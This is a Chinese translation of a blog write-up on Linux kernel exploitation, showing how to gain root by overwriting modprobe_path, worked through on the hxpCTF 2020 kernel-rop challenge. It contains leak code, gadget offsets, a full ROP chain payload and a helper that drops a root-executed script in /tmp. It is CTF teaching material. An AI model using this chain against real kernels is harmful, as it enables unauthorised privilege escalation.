基于modprobe_path覆盖的Linux内核漏洞利用技术

2021-02-26 7,216

原文地址:https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/

  

前言

 

在本文中,我们将为读者介绍一种通过通过覆盖内核中的modprobe_path来利用Linux内核漏洞的技术。如果使用这种技术的话,相应的payload根本无需调用prepare_kernel_cred()和commit_creds()——众所周知,调用这两个函数是一个非常繁琐的过程。也就是说,与传统的技术相比,这里介绍的方法不仅有效,而且非常简便。

 

当然,这个技术本身并不复杂,但是,为了便于讲解,我们将以hxpCTF 2020大赛中的kernel-rop挑战为例进行演示,希望本文对大家能够有所帮助。

 

kernel-rop挑战简介

 

简单来说,该挑战提供了以下文件:

 

     vmlinuz:经过压缩处理的Linux内核。

     initramfs.cpio.gz:Linux文件系统,其中包含易受攻击的内核模块,即hackme.ko。

     run.sh:包含qemu运行命令的shell脚本。

 

下面是我们可以从这些文件中得到的信息:

 

    系统提供了全面的保护措施:SMEP、SMAP、KPTI和KASLR。

    linux内核使用的是FG-KASLR,这是KASLR的一个非主流版本,它通过随机化每个函数(而不仅限于内核函数)的地址来增加额外的保护层。

    存在安全漏洞的模块在hackme_init()中注册了一个名为hackme的设备,我们可以打开该设备并对其进行读写操作。

    hackme_read()和hackme_write()函数存在堆栈缓冲区溢出漏洞,该漏洞使我们可以在内核堆栈上随意进行读写操作。

 

ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)

{  

    //...

    int tmp[32];

    //...

    if ( _size > 0x1000 )

    {

        _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);

        BUG();

    }

    _check_object_size(hackme_buf, _size, 0LL);

    if ( copy_from_user(hackme_buf, data, v5) )

        return -14LL;

    _memcpy(tmp, hackme_buf);

    //...

}

 

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)

{  

    //...

    int tmp[32];

    //...

    _memcpy(hackme_buf, tmp);

    if ( _size > 0x1000 )

    {

        _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);

        BUG();

    }

    _check_object_size(hackme_buf, _size, 1LL);

    v6 = copy_to_user(data, hackme_buf, _size) == 0;

    //...

}

 

这就是该挑战及其环境,既简单,又很标准。现在,让我们进入最重要的部分,即解释该技术本身。

 

覆盖modprobe_path

 

首先,什么是modprobe呢?根据维基百科的说法:“modprobe是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块”。也就是说,它是我们在Linux内核中安装或卸载新模块时都要执行的一个程序。该程序的路径是一个内核全局变量,默认为/sbin/modprobe,我们可以通过运行以下命令来查看该路径:

 

cat /proc/sys/kernel/modprobe

-> /sbin/modprobe

 

截至目前,你可能想知道为什么这个程序会对内核利用有用,以及如何利用。别急,下面让我来告诉具体的原因:

 

首先, modprobe的路径, 默认是/sbin/modprobe, 存放在内核本身的符号modprobe_path下, 同时,它位于一个可写的内存页中。我们可以通过读取/proc/kallsyms得到它的地址(由于启用了KASLR安全机制,所以,你看到的地址可能会有所不同):

 

cat /proc/kallsyms | grep modprobe_path

-> ffffffffa7a61820 D modprobe_path

 

其次,当我们执行的文件的类型是系统未知的类型时,将执行modprobe程序(其路径存储在modprobe_path中)。 更准确地说,如果我们对文件签名(又称魔术头)为系统未知的文件调用execve()函数时,它将调用下列函数,并最终调用modprobe:

 

    do_execve()

    do_execveat_common()

    bprm_execve()

    exec_binprm()

    search_binary_handler()

    request_module()

    call_modprobe()

 

所有这些调用最终将执行下面的代码:

 

static int call_modprobe(char *module_name, int wait)

{

    ...

    argv[0] = modprobe_path;

    argv[1] = "-q";

    argv[2] = "--";

    argv[3] = module_name;

    argv[4] = NULL;

 

    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,

                    NULL, free_modprobe_argv, NULL);

    ...

}

 

简而言之,当我们通过system函数执行一个文件类型未知的文件时,无论当前modprobe_path中存储的是哪个文件的路径,都会根据该路径执行对应的文件。因此,这个技术的原理就是利用一个任意写原语将modprobe_path覆盖成一个我们自己编写的shell脚本的路径,然后我们执行一个未知文件签名的文件。其结果是,当系统仍处于内核模式时,shell脚本将被执行,从而导致具有root权限的任意代码执行。

 

为了看到这个技术的实际效果,让我们为kernel-rop挑战编写一个payload。

 

payload

 

收集gadget与相关地址

 

实施该技术的前提条件如下所示:

 

    知道modprobe_path的地址。

    知道kpti_trampoline的地址,以便在覆盖modprobe_path后干净利落地返回用户区。

    拥有一个任意写原语。

 

就该挑战的堆栈缓冲区溢出来说,这3个先决条件其实只满足了1个,那就是知道内核映像基地址,原因如下所示:

 

    modprobe_path和kpti_trampoline都不受FG-KASLR的影响,所以它们的地址与内核映像基地址的偏移量,都是恒定的。

    对于任意写操作,我们可以借助于下面的3个gadget,它们位于内核的起始区域,而这个区域是不受FG-KASLR影响的:

 

unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret;

unsigned long pop_rbx_r12_rbp_ret = image_base + 0x3190UL; // pop rbx ; pop r12 ; pop rbp ; ret;

unsigned long write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL; // mov qword ptr [rbx], rax; pop rbx; pop rbp; ret;

 

因此,我们可以泄漏内核映像的基地址,然后使用hackme_read()来计算这些地址:

 

void leak(void){

    unsigned n = 40;

    unsigned long leak[n];

    ssize_t r = read(global_fd, leak, sizeof(leak));

    cookie = leak[16];

    image_base = leak[38] - 0xa157ULL;

    kpti_trampoline = image_base + 0x200f10UL + 22UL;

    pop_rax_ret = image_base + 0x4d11UL;

    pop_rbx_r12_rbp_ret = image_base + 0x3190UL;

    write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL;

    modprobe_path = image_base + 0x1061820UL;

 

    printf("[*] Leaked %zd bytes\n", r);

    printf("    --> Cookie: %lx\n", cookie);

    printf("    --> Image base: %lx\n", image_base);

}

 

覆盖modprobe_path

 

获取相关地址之后,接下来要做的事情是,将modprobe_path覆盖成一个我们可以控制的文件路径。在大多数linux系统中,我们可以以任何用户的身份随意读写/tmp目录,因此,我将使用上面提到的3个gadget将modprobe_path覆盖为一个名为/tmp/x的文件的路径,然后通过kpti_trampoline安全地返回用户态的get_flag()函数:

 

void overflow(void){

    unsigned n = 50;

    unsigned long payload[n];

    unsigned off = 16;

    payload[off++] = cookie;

    payload[off++] = 0x0; // rbx

    payload[off++] = 0x0; // r12

    payload[off++] = 0x0; // rbp

    payload[off++] = pop_rax_ret; // return address

    payload[off++] = 0x782f706d742f; // rax <- "/tmp/x"

    payload[off++] = pop_rbx_r12_rbp_ret;

    payload[off++] = modprobe_path; // rbx <- modprobe_path

    payload[off++] = 0x0; // dummy r12

    payload[off++] = 0x0; // dummy rbp

    payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path <- "/tmp/x"

    payload[off++] = 0x0; // dummy rbx

    payload[off++] = 0x0; // dummy rbp

    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22

    payload[off++] = 0x0; // dummy rax

    payload[off++] = 0x0; // dummy rdi

    payload[off++] = (unsigned long)get_flag;

    payload[off++] = user_cs;

    payload[off++] = user_rflags;

    payload[off++] = user_sp;

    payload[off++] = user_ss;

 

    puts("[*] Prepared payload to overwrite modprobe_path");

    ssize_t w = write(global_fd, payload, sizeof(payload));

 

    puts("[!] Should never be reached");

}

 

执行任意脚本

 

既然modprobe_path指向/tmp/x,那么我们要做的就是在该文件中写入相应的内容,因为它将以root权限执行。在本例中,我将编写一个简单的shell脚本,将flag文件从/dev/sda复制到/tmp目录中,并使其可供所有用户读取。该脚本的内容如下所示:

 

#!/bin/sh

cp /dev/sda /tmp/flag

chmod 777 /tmp/flag

 

之后,我编写了一个只包含\xff字节的文件,以便使其成为系统未知类型的文件。在执行该文件后,我们应该在/tmp中看到一个允许读取的flag文件:

 

void get_flag(void){

    puts("[*] Returned to userland, setting up for fake modprobe");

   

    system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");

    system("chmod +x /tmp/x");

 

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");

    system("chmod +x /tmp/dummy");

 

    puts("[*] Run unknown file");

    system("/tmp/dummy");

 

    puts("[*] Hopefully flag is readable");

    system("cat /tmp/flag");

 

    exit(0);

}

 

如果一切顺利的话,旗标将会被打印出来。

 

小结

 

读到这里,大家就明白为什么这项技术如此深受PWNer的喜爱了。当我理解了其工作原理,并亲手编写了一个exploit后,我就被深深吸引了:因为它真的是两全其美,不仅简单易懂,而且要求的先决条件极少。因此,我就迫不及待的现成文章,以便告诉大家;当然,由于本人水平有限,如果文章中有任何错误的信息,请随时指出。

 

附录

 

完整的利用代码为modprobe.c,具体地址为https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/modprobe.c。

 


本文作者:mssp299

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/153929.html

Tags:
评论  (0)
快来写下你的想法吧!

mssp299

文章数:45 积分: 607

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号